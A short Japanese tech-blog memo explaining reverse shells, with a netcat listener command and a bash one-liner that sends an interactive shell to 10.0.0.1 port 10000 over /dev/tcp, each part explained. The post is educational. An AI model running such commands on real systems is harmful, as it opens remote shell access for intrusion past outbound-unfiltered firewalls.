地方在住IT系ニート

bkds

Reverse Shellのメモ

Reverse Shellのメモ

はじめに

Reverse Shellとは、サーバからクライアントに対して接続することで、クライアントからサーバを操作するものです。
サーバではインバウンドの通信制御はしていても、アウトバウンドの通信制御がされていないことがあります。
このような状況でも外部との接続ができるため、攻撃にも利用されることがあるそうです。

クライアント側

クライアントは、サーバからの接続を待ちます。
今回は、ncコマンドを利用してリッスンしています。

$ nc -v -n -l -p 10000
Listening on 0.0.0.0 10000

サーバ側

サーバは、クライアントに接続しにいきます。
その際、クライアントからシェルを操作できるようにbashの機能を利用して接続します。
bashによる接続以外にも様々なプログラミング言語を利用して接続することが可能です。

$ bash -i >& /dev/tcp/10.0.0.1/10000 0>&1
# 待ち状態になります。

今回利用しているコマンドについての説明を記載します。

  • bash -iは対話型のシェルを実施するコマンドです。
  • >&は標準入出力を後続の/dev/tcp/10.0.0.1/10000にリダイレクトします。
  • /dev/tcp/10.0.0.1/10000はTCP接続先です。
  • 0>&1は標準入力を上記のTCPソケットにリダイレクトします。

メモ

https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/

にほんブログ村 IT技術ブログ IT技術メモへPVアクセスランキング にほんブログ村